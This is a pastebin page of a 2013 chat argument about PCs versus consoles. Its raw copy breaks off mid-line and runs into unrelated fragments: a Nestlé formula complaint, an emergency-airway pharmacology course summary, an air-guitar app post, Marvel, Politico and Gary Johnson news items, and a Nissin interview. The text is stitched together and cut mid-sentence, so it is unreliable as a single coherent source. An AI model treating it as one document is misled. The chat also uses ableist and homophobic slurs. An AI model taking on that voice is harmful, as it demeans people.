rawdownloadcloneembedreportprint text 9.26 KB Never tell your password to anyone. Monday, 07 October, 2013 9:42 AM - MasterRace: telling people to buy ps3 9:43 AM - MasterRace: -2013 9:43 AM - MasterRace:.__. 9:43 AM - Peasent: ps3 is better than the crap one 9:43 AM - MasterRace: buying consoles 9:43 AM - MasterRace: that is the problem 9:43 AM - MasterRace: right there 9:45 AM - Peasent: you mean you don't have one? 9:45 AM - MasterRace: absoluetly not 9:45 AM - MasterRace: pcmasterrace all the way 9:45 AM - Peasent: then your childhood sucks 9:45 AM - MasterRace: my childhood was fine 9:45 AM - Peasent: it sucks cause you didn't have a nintendo system 9:45 AM - MasterRace: I played on a better system from the get go 9:46 AM - MasterRace: and reallly early 9:46 AM - MasterRace: I had those shitty cartridges system things 9:46 AM - MasterRace: It was ok 9:46 AM - MasterRace: don't remember what it was 9:46 AM - MasterRace: called though 9:47 AM - MasterRace: first game I played was on atari 2600 9:48 AM - Peasent: there's your problem 9:48 AM - MasterRace: what? 9:48 AM - MasterRace: that was a long time ago 9:48 AM - MasterRace: like 9:48 AM - MasterRace: long ago 9:48 AM - Peasent: then why do you hate the consoles? 9:48 AM - MasterRace: because I moved onto a better system 9:48 AM - MasterRace: and now consoles are a joke 9:49 AM - Peasent: pc is better specs, but it's unoptimised compared to a ps3 9:49 AM - MasterRace: If they devs actually spent time coding well they would have optimized code 9:49 AM - Peasent: anyway, only the wii-u and the xbox one is a joke 9:49 AM - MasterRace: sigh 9:49 AM - MasterRace: don't tell me you are one of those lol xbone people? 9:50 AM - Peasent: what people? 9:50 AM - MasterRace: those retarded shits spamming lol xbone xbone xbone xbone 9:50 AM - MasterRace: lol ps4 gddr5 8 jiggabytes of memory 9:51 AM - Peasent: cause of m$, we get to pay for online on os4 9:51 AM - MasterRace: so it's their fault? 9:51 AM - Peasent: *ps4 9:51 AM - Peasent: yep 9:51 AM - MasterRace: wow 9:51 AM - MasterRace: so sony charges money because ms does it 9:51 AM - MasterRace: pathetic excuse 9:51 AM - Peasent: is it really? 9:51 AM - MasterRace: yes 9:52 AM - Peasent: companies will always follow the winning strategy 9:52 AM - MasterRace: I kill people because serial killers does 9:52 AM - MasterRace: lol not my fault 9:52 AM - Peasent: different points 9:52 AM - Peasent: this is the business world 9:52 AM - MasterRace: I charge more money cause other people do 9:52 AM - MasterRace: lol not my fault 9:52 AM - MasterRace: I want to over charge for my services cause other people do 9:52 AM - MasterRace: lol not my fault 9:53 AM - Peasent: is that wrong? 9:53 AM - MasterRace: yes 9:53 AM - MasterRace: Just because someone else is doing something wrong does not mean it gives you an excuse to do the same 9:54 AM - Peasent: oh rly? then what is EA doing? 9:54 AM - MasterRace: Just because someone else is doing something wrong does not mean it gives you an excuse to do the same 9:54 AM - MasterRace: read it again 9:54 AM - Peasent: different divisions all doing wrong 9:54 AM - Peasent: that's still "someone else" 9:55 AM - MasterRace: excuses excuses 9:55 AM - MasterRace: They are charging cash 9:55 AM - MasterRace: ms does it too does not mean they to 9:56 AM - MasterRace: they passed this little pay for online under the radar with the whole xbox one drm thing going on 9:56 AM - MasterRace: they act so high and proud but they are almost as bad 9:56 AM - Peasent: no they didn't 9:56 AM - MasterRace: "This is how you share games on ps4" 9:56 AM - MasterRace: what about that smug video 9:56 AM - Peasent: the reason why they charge dates back to the xbox 360 9:57 AM - Peasent: the time when m$ charged to play online 9:57 AM - MasterRace: so steam should charge too? 9:57 AM - MasterRace: according to your logic 9:57 AM - MasterRace: since others are doing it 9:57 AM - Peasent: steam already is making money 9:57 AM - Peasent: and what's more, steam doesn't own any game servers 9:57 AM - MasterRace:.... 9:57 AM - MasterRace: oh rly 9:58 AM - Peasent: yes 9:58 AM - MasterRace: what about the servers 9:58 AM - MasterRace: running steam service 9:58 AM - Peasent: for every game you buy, they get a cut 9:58 AM - MasterRace: also microsoft and sony are also making money 9:58 AM - MasterRace: already 9:58 AM - MasterRace: they do too 9:58 AM - MasterRace: stop your peasent worship 9:59 AM - Peasent: compare the ways m$ and sony make money compared to steam 9:59 AM - Peasent: until then, shut up 9:59 AM - MasterRace: sure 9:59 AM - MasterRace: peasent 9:59 AM - Peasent: at least i have exclusives, which will never come out on pc in the near future 9:59 AM - MasterRace: sure 9:59 AM - MasterRace: shitty cutscene the movie 10:00 AM - MasterRace: press x to win 10:00 AM - Peasent: nope 10:00 AM - Peasent: i'm talking about stuff like tales of 10:00 AM - MasterRace: that's all consoles can do 10:00 AM - MasterRace: buy our system or you can't play games 10:00 AM - MasterRace: ha 10:01 AM - Peasent: then what about pcs? it's the same 10:01 AM - Peasent: bitch plz 10:01 AM - MasterRace: we don't have shitty stuff like that 10:01 AM - MasterRace: we have games that compel you with features 10:01 AM - Peasent: you can't buy the game and run it without the pc 10:01 AM - MasterRace: not buy amd and play this game 10:01 AM - MasterRace: you can't buy game and play it without console 10:01 AM - Peasent: you got stuff like "works better with amd" 10:02 AM - MasterRace: those are extra features that they implement on their side 10:02 AM - MasterRace: and both sides release drivers 10:02 AM - Peasent: extra features you say? 10:02 AM - MasterRace: you can't say that one sides gets the game to be optimized 10:02 AM - MasterRace: yea 10:02 AM - Peasent: at least more optimised 10:02 AM - MasterRace: like that tress fx thing 10:03 AM - Peasent: meaning you get a performance boost with that game 10:03 AM - MasterRace: wtf 10:03 AM - MasterRace: that was a phyx hair thing 10:03 AM - MasterRace: not a performance boosting thing 10:03 AM - MasterRace: :l 10:03 AM - MasterRace: tress fx 10:03 AM - MasterRace: do u even 10:03 AM - MasterRace: read 10:03 AM - MasterRace: wait a minute 10:03 AM - MasterRace: I just realized something 10:04 AM - MasterRace: you're just doing that thing again 10:04 AM - MasterRace: :l 10:04 AM - Peasent: tress fx is only on but one game 10:04 AM - Peasent: so unless all games have tress fx, my point still stands 10:04 AM - MasterRace: sigh 10:05 AM - MasterRace: "Forgive them for they do not know" Gaben 3:33 10:05 AM - Peasent: still trying to use "religion" i see 10:06 AM - MasterRace: oh wait 10:06 AM - MasterRace: you muse be "Science!" guy 10:06 AM - MasterRace: m i rite? 10:06 AM - Peasent: unlike your mind which can't take in that consoles are good, though not as good as a pc, mine can 10:06 AM - MasterRace: no mods 10:06 AM - Peasent: and you are wrong 10:06 AM - MasterRace: shitty specs 10:06 AM - MasterRace: cannot even chose own controller 10:07 AM - Peasent: they don't need good specs 10:07 AM - MasterRace: lololololol 10:07 AM - Peasent: and btw ky, the ps3 can use kb_m 10:07 AM - MasterRace: another peasent who thinks specs don't effect gameplay 10:07 AM - Peasent: *kb+m 10:07 AM - MasterRace: can you even dedicated pilot system 10:07 AM - Peasent: specs really don't affect gameplay 10:07 AM - MasterRace: ha 10:07 AM - MasterRace: peasent pls 10:07 AM - MasterRace: ai 10:07 AM - MasterRace: you even 10:07 AM - MasterRace: that is just one example 10:07 AM - MasterRace: fucking ai 10:08 AM - Peasent: tell me where does specs affect gameplay, and NOT graphics? 10:08 AM - MasterRace: AI 10:08 AM - MasterRace: AI 10:08 AM - Peasent: ai is the game code 10:08 AM - Peasent: so bitch plz 10:08 AM - MasterRace:.... 10:08 AM - Peasent: i bet you didn't even code 10:08 AM - MasterRace: no I just buy apple computers 10:08 AM - MasterRace: good day peasent 10:08 AM - Peasent: apple sucks 10:08 AM - MasterRace: may Gaben guide you 10:09 AM - Peasent: linux>windows>apple 10:09 AM - Peasent: that was 1 year ago 10:09 AM - Peasent: now, it's linux>apple>windows(the new one) 10:09 AM - Peasent: i'll just be waiting for my steambox, if i get it 10:10 AM - Peasent: so continue on shitting on consoles, cause gabe is also going into them 10:10 AM - MasterRace: nope 10:10 AM - MasterRace: he made steambox 10:10 AM - MasterRace: it's not a fucking console 10:10 AM - MasterRace: get it through your fucking head 10:10 AM - Peasent: steambox is like a console 10:10 AM - MasterRace: no it's not 10:10 AM - Peasent: it doesn't have the windows games directly in it 10:11 AM - Peasent: streaming is a console feature 10:11 AM - MasterRace: wat the actual 10:11 AM - Peasent: unless you can prove otherwise 10:11 AM - MasterRace: fuck 10:11 AM - Peasent: so like i said, the steambox is a console pc made to combat the current consoles 10:11 AM - MasterRace: I need time to recover from all this peasentry 10:12 AM - Peasent: anyway, let me tell you that calling people peasents just cause they like consoles is gay an fag 10:12 AM - Peasent: *and 10:13 AM - Peasent: i can tolerate it cause i'm used to trolls, but some may not take it the same way 10:14 AM - Peasent is now Away.
RAW Paste Data
Never tell your password to anyone. Monday, 07 October, 2013 9:42 AM - MasterRace: telling people to buy ps3 9:43 AM - MasterRace: -2013 9:43 AM - MasterRace:.__. 9:43 AM - Peasent: ps3 is better than the crap one 9:43 AM - MasterRace: buying consoles 9:43 AM - MasterRace: that is the problem 9:43 AM - MasterRace: right there 9:45 AM - Peasent: you mean you don't have one? 9:45 AM - MasterRace: absoluetly not 9:45 AM - MasterRace: pcmasterrace all the way 9:45 AM - Peasent: then your childhood sucks 9:45 AM - MasterRace: my childhood was fine 9:45 AM - Peasent: it sucks cause you didn't have a nintendo system 9:45 AM - MasterRace: I played on a better system from the get go 9:46 AM - MasterRace: and reallly early 9:46 AM - MasterRace: I had those shitty cartridges system things 9:46 AM - MasterRace: It was ok 9:46 AM - MasterRace: don't remember what it was 9:46 AM - MasterRace: called though 9:47 AM - MasterRace: first game I played was on atari 2600 9:48 AM - Peasent: there's your problem 9:48 AM - MasterRace: what? 9:48 AM - MasterRace: that was a long time ago 9:48 AM - MasterRace: like 9:48 AM - MasterRace: long ago 9:48 AM - Peasent: then why do you hate the consoles? 9:48 AM - MasterRace: because I moved onto a better system 9:48 AM - MasterRace: and now consoles are a joke 9:49 AM - Peasent: pc is better specs, but it's unoptimised compared to a ps3 9:49 AM - MasterRace: If they devs actually spent time coding well they would have optimized code 9:49 AM - Peasent: anyway, only the wii-u and the xbox one is a joke 9:49 AM - MasterRace: |
that the technology employed to manufacture NAN PRO-3 "excludes the possibility" of insects surviving in sealed packs.
Nestlé India initially denied being contacted by the consumer, a man called Prem Ananth, but later confirmed it received a complaint in April from his wife.
It said a Nestlé representative visited the complainant and offered to test and replace the NAN PRO-3 follow-on formula in question.
They declined, however, to provide the product for analysis, Nestlé India said.We are thrilled to announce the next installment of ALiEM CAPSULES: Pharmacology of Emergency Airway Management (part 1), which was just published to the ALiEMU site. This is the first part of a 2-part course focusing on the pharmacology of the emergency airway. For this CAPSULES module we are introducing a multimedia-enhanced learning experience. You will find HD videos throughout the module providing further educational content. Some of the quizzes are also accompanied by video cases followed by a question based on the case you just watched. If you cannot use audio on your device, no problem, all videos are closed captioned (just hit the CC button in the YouTube window). We hope these videos further enrich your ALiEMU CAPSULES educational experience and we welcome any suggestions or comments!
Go to the ALiEMU module on the Pharmacology of Emergency Airway Management (Part 1).
Role Team Member Background Authors Chris Edwards, PharmD, BCPS
@emergencypharm Emergency Medicine Pharmacist, University of Arizona Medical Center Rob Pugliese, PharmD, BCPS
@theEDpharmacist Emergency Medicine Pharmacist, Thomas Jefferson University PharmD Reviewer Meghan Groth, PharmD, BCPS
@EMpharmgirl Emergency Medicine Pharmacist, University of Vermont Medical Center Physician Reviewer Lewis Nelson, MD, FAACT, FACMT, FACEP
@LNelsonMD Professor of Emergency Medicine, New York University Creator and Lead Editor Bryan Hayes, PharmD, DABAT, FAACT
@PharmERToxGuy Emergency Medicine Pharmacist, Clinical Associate Professor; University of Maryland Chief of Design and Development Chris Gaafary, MD
@cgaafary EM Chief Resident, University of Tennessee Chattanooga
Course 3 Outline
Review of the medications that should be planned for and prepared alongside critical supplies required for intubation
The role of preoxygenation and apneic oxygenation
Choosing medications to facilitate awake intubation
Sedation methods for delayed sequence intubation
The pediatric airway
Summary
1. The 7’Ps of RSI
Medications should be planned for and prepared alongside the other critical supplies required for intubation including: Pretreatment, oxygenation, induction and paralytic selection, post-intubation analgesia/sedation Communicate all plans clearly with the team
2. Preoxygenation and apneic oxygenation
Standard pre-oxygenation: Non-rebreather mask with oxygen turned up past 15L max indicator
Apneic oxygenation: Oxygen via nasal cannula set at 15L or higher during apneic period and throughout intubation attempt.
Both strategies should be utilized for a majority of intubation situations
3. Awake Intubation
Topical anesthetics to facilitate intubation of awake patient 4% lidocaine solution atomized into airway using nasal or naso-tracheal delivery system 2% viscous lidocaine gargled by patient 2% lidocaine jelly used as lubricant on endotracheal tube Max total lidocaine dose is 300mg (based on data for intradermal use)
There are numerous modalities for providing conscious sedation for awake intubation with consideration for prevention of oversedation and the unique pharmacology of the sedative agent selected
4. Delayed sequence intubation (procedural sedation for preoxygenation)
Ketamine studied at dose of 1mg/kg slow IV push followed by 0.5mg/kg additional doses until adequate dissociation was achieved (average dose used 1.4mg/kg)
Once sedated, oxygenation can occur via non rebreather or positive pressure ventilation for three minutes
After preoxygenation, assess level of sedation from initial sedative dose prior to administering paralytic for intubation
5. The Pediatric Airway
Know where your pediatric equipment and resources are located and practice using them before you encounter a child requiring emergent airway management
Preparation and practice with actual pediatric equipment and supplies, especially in primarily adult institutions, is the key to optimizing care in this population
The Broselow® Pediatric Emergency Tape has pre-calculated doses for most meds used in RSI/PALS and also equipment sizes (endotracheal tube size).
Read more about The CAPSULES series.
Share This Facebook
Twitter
Pocket
Print
InstagramIn your shower, during karaoke, in your car, at a Rush concert, these are all places you’ve probably played air guitar before. We recently asked ourselves how we could take such a classic cultural phenomenon and bring it into 2016. Our answer? Make it real.
How, you ask? We created an iPhone app that pairs with a small hand-held device that allows you to trigger custom sounds with each flick of the wrist.
We prototyped this IRL air guitar on a LightBlue Bean, one of our favorite microcontrollers (which comes with on board BTLE). The device pairs perfectly with the iOS platform — it has a straightforward API that makes it easy to get up and running (you may remember it from Dorothy). The device checks for a burst of acceleration and specific position on the X, Y, and Z axis. When the requirements are hit, the Bean sends a bluetooth serial message to the iPhone, indicating that a gesture was triggered.
On the iPhone app users can currently pick between drum or guitar mode. Guitar mode looks for a strumming motion, while drum mode checks for the user to bang the device like a drum stick. In each case, changing the mode on the app also changes the sound that is output.
In the future we are hoping to include more sounds, everything from full drum kits to pan flutes to your favorite sound effects. That, and of course designing a sweet guitar pick enclosure you can keep in your pocket.Joss Whedon has discussed the death and return of Agent Phil Coulson.
The Avengers writer/director said that Marvel Studios wanted Clark Gregg's S.H.I.E.L.D. agent to die from the outset.
The character will return in Whedon's S.H.I.E.L.D. television series.
"Coulson's death was mandated in the first meeting by Kevin Feige," he said during a screening of the film at the Directors Guild in Hollywood.
"I can't say that enough times. Apparently I have some kind of reputation that we won't discuss right now, but I do love to kill people. Clark himself said when we were shooting that it was obvious that it had to happen, otherwise all of this becomes irresponsible. There's no toll or actual downside to this very bad idea of bringing all of these people together.
"As a film it's just irresponsible. That's why we're bringing him back for a S.H.I.E.L.D. series."
Coulson was established as an original character in Iron Man, Iron Man 2 and Thor.
He later debuted at Marvel Comics in the Battle Scars miniseries.Chief Deputy Whip Patrick McHenry told Republican lawmakers in a closed-door meeting Tuesday morning that the tally sets a record for the most “undecided” responses. | Getty House Republicans to fall back on more modest spending plan
House GOP leaders are resorting to Plan B on their spending strategy after falling woefully short of the support needed to pass a massive government funding package without Democratic votes.
Majority Leader Kevin McCarthy announced Tuesday night that the House will vote next week on a measure that includes just four of the 12 bills needed to fund the federal government. That decision comes after GOP leaders failed to get enough Republican support to pass the full dozen without the help of their minority-party counterparts.
Story Continued Below
The so-called “minibus” or “security-bus” will include measures that would fund the Pentagon and Department of Veterans Affairs, as well as the Legislative Branch, the Energy Department and water projects.
After launching a whipping operation Monday night to gauge interest in voting on the full spate of spending bills, GOP leaders walked away with a tally of dozens of Republican lawmakers who said they couldn’t commit — as well as several hard “no’s” — to voting for the partisan bundle of 12 bills, according to Republican lawmakers and aides.
The survey underscored GOP leadership's ongoing difficulty in appeasing the party’s most fiscally conservative wing while still holding onto support from moderates, and serves as a reminder that ideological differences within the House Republican conference are likely to force the majority to continue making deals with Democrats to keep the government funded.
Sign up here for POLITICO Huddle A daily play-by-play of congressional news in your inbox. Email Sign Up By signing up you agree to receive email newsletters or alerts from POLITICO. You can unsubscribe at any time.
The initial vote count was so dismal, in fact, that Chief Deputy Whip Patrick McHenry (R-N.C.) told Republican lawmakers in a closed-door meeting Tuesday morning that the tally set a record for the most “undecided” responses, according to people who were in the room.
Although McCarthy instructed his members to read up over the weekend on the fiscal 2018 funding proposals crafted so far in committee, several Republican appropriators have said their colleagues didn’t do their homework and were withholding support because they aren’t familiar enough with the spending bills, which are each more than 100 pages long.
“Getting people to commit to a huge number when they haven’t seen the bill is pretty hard,” said Rep. Tom Cole (R-Okla.), who chairs the spending subcommittee in charge of funding the departments of Labor, Education, and Health and Human Services. “Only the appropriators commit.”
Cole said one of his Republican counterparts asked him Monday night what the spending committee ended up deciding on funding for the National Institutes of Health — a spending level that was announced, and highly publicized, five days before.
Hours before House Republicans announced they would resort to bringing the smaller package of spending bills to the floor, Democrats were already seizing on the idea to highlight their Republican counterparts’ struggles after years of promising “regular order” through the spending cycle.
“I don’t think Republicans on their own can pass any budget but the national security bills,” House Minority Whip Steny Hoyer (D-Md.) told reporters Tuesday.
Even though many of the spending levels in the 12-bill package would have been too low to clear both chambers, the strategy was alluring to House Republicans who yearn to return home for August recess with the ability to say they successfully passed a government funding bill that includes major GOP priorities.
A spokesman for Rep. Tom Graves, who came up with the idea of passing the larger package with only GOP votes before August, told POLITICO earlier Tuesday that the Georgia Republican had been trying to win his colleagues' support by highlighting “the big conservative wins like border wall, increasing funds for military, cutting spending, slashing regulations.”
Kyle Cheney contributed to this report.Welcome to the second installment in the ‘Meet The Manufacturer’ series! This one’s with Nissin, makers of the ever-popular Top Ramen, Cup Noodles and the like. They sent a nice package of different instant varieties to sample – most of them new to me. The following interview is with Senior Marketing Manager, Linda Chung, facilitated by Senior Marketing Coordinator Scott Akazaki.
TRR: Nissin was the first instant noodles I had ever tried in my life – I am thrilled and thoroughly appreciate the chance to do this interview with you – thank you!
To start, can you give a little background on how the company was founded and a little about its history in Japan?
NISSIN: Mr. Ando began the company as part of a humble family operation back in 1948. Faced with sparse food sources after World War II, Mr. Ando realized that a quality, convenient ramen product would help to feed the masses. His goal was to create a satisfying ramen that could be eaten anywhere, anytime. In 1958, Nissin introduced “Chicken Ramen”, the first instant ramen. Ironically, it was considered a luxury item, since Japanese grocery stores sold fresh Japanese noodles (udon) at one-sixth the cost of Mr. Ando’s new food concept.
Still, Mr. Ando was convinced that his revolutionary new method of preparation would sell. The concept seemed simple enough. All users would have to do is simply remove the ramen from its package, place it in a bowl, add boiling water, cover the bowl, and wait three minutes. The conservative Japanese food industry, however, rejected the product as a novelty with no future. They had never been so wrong.
Soon, Chicken Ramen was selling beyond even Mr. Ando’s wildest expectations. Before you could say “instant”, more than ten companies were rushing to put their own versions out on the market. By the end of 1958, grocery shelves were crowded with this new staple for the Japanese kitchen. From this point on, Nissin Foods began introduction of a long list of successful and innovative ramen products.
TRR: For those who might not be familiar with all of them, what lines of instant noodle products to you offer in the United States?
NISSIN: We are constantly pushing the boundaries of instant ramen as it should be with our new products – the latest is Big Cup Noodles (It features shorter, wider noodles in a paper cup). Other products include:
Cup Noodles
Top Ramen
Souper Meal
Chow Mein
Chow Noodles
Bowl Noodles Rich & Savory
Bowl Noodles Hot & Spicy
Ramen Bowl (just launched)
Spoon it (just launched)
TRR: When and why was there a need for Nissin Foods in the United States?
NISSIN: Nissin Foods introduced Top Ramen into the U.S. in 1970. Mr. Ando saw an opportunity to introduce a new type of noodle soup product to the states. As he showed his products to grocery store buyers, he realized that no one in the US had ramen sized bowls. This insight, combined with getting served coffee in a Styrofoam cup on a business trip flight, was the genesis of Cup Noodles.
TRR: I know that the varieties available in Japan and the product line in the United States differ quite a bit. Why is that?
NISSIN: This is based on developing tastes that are suitable for a specific region of the globe. This was especially true in the 1970’s when the concept of instant ramen was foreign, we didn’t want to compound this with Asian flavors.
TRR: How do you determine when it is time to retire a flavor of Top Ramen and how do you go about determining a new one to offer?
NISSIN: This decision is based primarily on what the customer wants. We tend to let them “vote” with their wallets.
TRR: I commonly am asked if I am worried about sodium levels in all the different instant noodles from around the world I review. How would you recommend people balance their enjoyment of instant noodles and keeping them as part of a healthy meal?
NISSIN: You’ve already answered the question. It’s all about balance. Our products are ideal when you are looking for something fast, convenient and portable (and tastes good).
TRR: Often, I hear about people microwaving Cup Noodles. Is this the correct method of their preparation? Is it recommended to do so?
NISSIN: Cup Noodles was designed for optimum eating experience with boiling water.
TRR: When I was very young, my mother introduced me to Nissin Roasted Ramen, which was a close resemblance to Nissin Chikin Ramen, the first product produced in Japan in 1958 by Nissin. After Roasted Ramen was discontinued, I found an Asian grocery in Seattle and found Chikin Ramen – but it’s been decades since I’ve seen Chikin Ramen available anywhere. Any chance you’ll bring Roasted Ramen or something like it back?
NISSIN: That is up to our parent company in Japan. There are some government regulations about importing items that contain a certain amount of meat/chicken. This is especially true after the Mad Cow scare a few years back.
TRR: I recently discovered you new line of Ramen Bowls. With flavors like Kimchi and Hot & Spicy, are these meant to compete with similar Korean products?
NISSIN: We are trying to offer our consumers an authentic Asian experience.
TRR: I’ve noticed many instant noodle manufacturers are located in Southern California. Aside from the fact that it never rains there, why was this the spot you picked for your factory?
NISSIN: I’ll have to get back to you on that one. It may be because of the established Asian population that was here in the 1970’s. This was the natural first consumer base for our products – first/second generation Japanese who missed this type of ramen noodles.
TRR: How many packs and cups of Top Ramen and Cup Noodles are made every year?
NISSIN: 3.9 billion instant ramen products (including Nissin) have been consumed in the US in 2010. See the link below for more information.
http://instantnoodles.org/noodles/expanding-market.html
TRR: Can you tell my readers about any new and exciting products to look for in the near future?
NISSIN: We are launching new flavors for our Big Cup Noodles line: Roast Chicken and Spicy Chicken.
TRR: Finally, when you enjoy instant noodles, what kind do you like and what do you add (if anything) to them to make them your own?
NISSIN: What’s my favorite Nissin product? It’s like asking someone to pick their favorite child! Chow Mein is my favorite Nissin product. Stir fried noodles without the hassle of cooking or getting takeout. If I am eating instant ramen, it’s primarily due to time constraint so, I enjoy it as-is.
TRR: Again, thank you very much for this opportunity to do this interview! Thank you for making such a great product so many enjoy and have a great day!
Well, there you have it! Thanks again to the folks at Nissin USA for the samples and the interview! This was a lot of fun and I’m sure folks will be interested in seeing the new products I’ll be reviewing in the next week or so!
47.810652 -122.377355As a part of a feature article on Energy Savings, the nation’s best-known consumer magazine reviewed one small wind turbine in their October 2011 issue. Their lab tested a six-foot diameter, roof-top mounted Honeywell WT6500 Wind Turbine at Consumer Union’s headquarters in Yonkers, NY.
Their early tests “suggest that you could save far less than the manufacturer claims—and wait decades for your investment to pay for itself.”
They found it to be quiet, “as loud as a library whisper in our tests.” Sold at True Value stores. Cost less than many wind systems, even before rebates. Warranted 5 years.
CR noted discrepancies between what WindTronics, the manufacturer, said the system should produce and the performance of the model they mounted on their roof, even after several visits from a company-authorized installer. At that rate, the Honeywell wouldn’t pay its way over its expected life of 20 years.
CR points out how difficult it is to know both how much energy the turbine will produce in specific conditions, but also how much of a typical home energy use that represents. Online calculators like www.windknowledge.com differ from the company’s website’s claims, and are inconsistent with other estimates. In a sidebar, they suggest consumers visit the Small Wind Certification Council’s website for information on turbine safety, function, performance and durability.
Consumer Reports will be updating their data during the next year and will report on further developments as they continue testing. In the meantime, they suggest some important steps to take before choosing any wind turbine:
Know the power you’ll really get
Check wind maps carefully
Get a site analysis
Have your roof checked
Source: Consumer ReportsAn elaborate wedding proposal by a man from Sichuan province ended up a failure after the girlfriend was unsatisfied with the wedding ring he offered her.
According to NetEase, a few nights ago the boyfriend arranged a proposal “flash mob” on a street in Chengdu. After the dancers finished their routine and he knelt down to make the proposal, his girlfriend was so touched that she began to cry.
However, much to her disappointment the engagement ring was less than one carat in size. On seeing that the ring was not to her satisfaction, she turned around and left the scene without saying a word.
A screenshot of a WeChat conversation allegedly between her and a friend was later leaked online.
In it the girlfriend says, “But he agreed to buy me a diamond ring as large as one carat. Why was this one so small? Is he so careless or has he ever cared about me?”
Her friend replies, “Don’t worry. Perhaps the bigger one will be waiting for you later or he hasn’t prepared it this time.”
There have been some pretty extravagant wedding proposals seen in recent months, like this man from Wuhan who created a sand sculpture of his girlfriend before popping the question. Then there was the tuhao who proposed using a collection of luxury cars which he had arranged in a heart shape.
By Lucy Liu
[Images via NetEase]
Share this: Pocket
Telegram
PrintBen Birnbaum was a 2015 National Magazine Award finalist and is a recent graduate of Princeton University's Woodrow Wilson School of Public and International Affairs.
On Saturday, standing before a podium at New York’s Marriott Marquis, Gary Johnson—wearing a black blazer over a tie-less gray shirt—sought to put the most difficult chapter of his campaign in the past. “I want to start off with an apology to all of you,” the visibly shaken candidate told the hundreds in attendance. “This whole Aleppo gaffe.”
A cascade of knowing laughs radiated through the crowd.
Story Continued Below
“No, no, I, really,” Johnson said. “All of us work so hard, we care so much about these issues, and I want you to know that I really, really care about these issues.”
Had it not been for Aleppo-gate—Johnson’s televised failure to recognize the name of the war-ravaged Syrian city—these past two weeks might have gone down as the Libertarian’s best. The former New Mexico governor notched his first three newspaper endorsements—from Virginia’s Richmond-Times Dispatch, North Carolina’s Winston-Salem Journal and New Hampshire’s Manchester Union-Leader. More importantly, a Washington Post-SurveyMonkey mega-poll of more than 74,000 Americans put Johnson at 15 percent or higher in 15 states (with showings as high as 23 percent in Utah and 25 percent in New Mexico). And while Johnson has yet to achieve the 15-percent threshold nationally, which he needs to qualify for the debates, he has started to get high-profile rhetorical support—from Mitt Romney, Arnold Schwarzenegger, Mitch Daniels, even Bernie Sanders—for his quest to persuade the Commission on Presidential Debates to relax the requirement.
While the gaffe dented Johnson's image and may have cost him whatever chance he'd had of making the first debate—it was announced Friday he won't participate—it would be mistaken to ignore the Libertarian going forward. The latest FiveThirtyEight forecast predicts that Johnson will take home 8 percent on Election Day—more than any third-party candidate in two decades—and a new national Quinnipiac survey has him replicating his all-time high of 13 percent. Given the tightening race between Clinton and Trump, the nature of Johnson’s support could have history-altering consequences. In six of the seven states rated most competitive by FiveThirtyEight—Ohio, North Carolina, Colorado, Nevada, Iowa and New Hampshire—the Libertarian has been polling as well as or better than he is nationally. Figuring out whom Johnson will hurt, however, requires answering a question that has eluded voters and pundits alike—a question that I struggled to answer as I followed the candidate for two weeks this summer: Where exactly does Gary Johnson fit on the political map?
It’s commonly thought that Libertarians pull more votes from GOP candidates, advocating a purer version of the Republican free-market, small-government ethos, uninflected by the religious right. To simply label Johnson a garden-variety “Libertarian,” however, misses one of the more interesting subplots of his candidacy: Johnson speaks a different libertarian dialect, one that has appealed as much to Democrats disappointed by Hillary Clinton as to Republicans disgusted by Trump. Seemingly every week, the candidate has been testing the limits of his party’s patience—usually from the left. During a debate at May’s Libertarian convention, Johnson was the only candidate of five to raise his hand when asked who supported the Civil Rights Act and the concept of driver’s licenses. He has come out against “religious-freedom” bills that he’s said would legalize anti-gay discrimination. Johnson told me he was against the Supreme Court’s Citizens United decision (“I don’t believe corporations are people”) and for a revenue-neutral carbon tax to combat climate change (though he would later reverse himself on this following a libertarian uproar). There had also been an eye-opening moment on the streets of Cleveland during the Republican National Convention, when we’d been walking behind a cigarette-wielding Ohioan. As the smoker’s exhaust wafted in our faces, I remarked offhand that—with the advent of e-cigarettes—I thought there was a good libertarian case for banning regular cigarettes. “I do too,” replied the health-obsessed triathlete, recounting his support for anti-smoking efforts in New Mexico. Johnson’s views on other issues, meanwhile, betray a basic centrism—against affirmative action but supportive of the Black Lives Matter movement, philosophically in favor of the death penalty but against its use in practice, pro-Second Amendment but open to legislation to keep guns from suspected terrorists and the mentally ill.
Gary Johnson, put simply, occupies a unique set of coordinates on the map of American politics. It is a map has been scrambled twice already this election by the orthodoxy-challenging insurgencies of Sanders and Trump. And if Johnson can weather Aleppo-gate, he stands poised to scramble it once again—perhaps for good. The Libertarian probably won’t be elected president, but he may very well elect the president.
***
Gary Johnson, fresh off a morning CNN interview at the RNC, was making his way through the station’s headquarters when he heard a familiar Texan voice. “There he is! There he is!” It was Rick Perry. “There he is! The hardest governor in America!” Johnson perked up at the sight of his former governor-in-arms. The two embraced, as if childhood friends seeing each other after years apart (they served together in 2001 and 2002). Perry inquired about Johnson’s family and then addressed the elephant in the room.
“It’s a three-ring circus, baby,” Perry said of his party’s conclave. “Idn’t it?” Johnson laughed.
The encounter with Perry was only one of the candidate’s many stop-and-chats with old Republican friends, from former Bush chief strategist Matthew Dowd to former RNC head Michael Steele to Trump adviser Roger Stone. (“He’s a great man, and he’d make a great president,” said Stone. “Unfortunately for him, Donald Trump is running.”) Throughout his two days in Cleveland, Johnson was approached on nearly every street corner by convention attendees—some in full Trump regalia—who wanted to take a selfie with the Libertarian and let him know he had their vote.
On the face of it, Johnson’s enthusiastic homecoming seemed to confirm the initial conventional wisdom about his candidacy—that the Libertarian would primarily cannibalize his former party, emerging as the de-facto alternative for Republicans who couldn’t stomach the New York billionaire. Indeed, on some bedrock economic issues such as free trade and entitlement reform, Johnson and running mate Bill Weld—the former Republican governor of Massachusetts—were more in line with the GOP’s orthodoxy than its own standard-bearer. For its part, the Johnson-Weld campaign hoped to rake in millions from Trump-wary conservative donors—possibly from the libertarian-leaning Koch Brothers—as well as endorsements from top Republican holdouts (he and Weld met quietly with Mitt Romney at his Salt Lake City house shortly after the Libertarian convention).
But today, nearly four months later, a hazier picture has emerged. At the national level, Johnson is pulling more or less equally from Clinton and Trump (the new Quinnipiac poll gives him 8 percent of Republicans, 7 percent of Democrats and 20 percent of independents). Johnson does appear to be bleeding Trump in some states—a recent NBC/WSJ poll of New Hampshire has him getting twice as many Republicans as Democrats—but, in others, his support base tilts left (in Ohio, according to a new CNN/ORC poll, Johnson scores 12 percent from both moderates and liberals and 8 percent from conservatives).
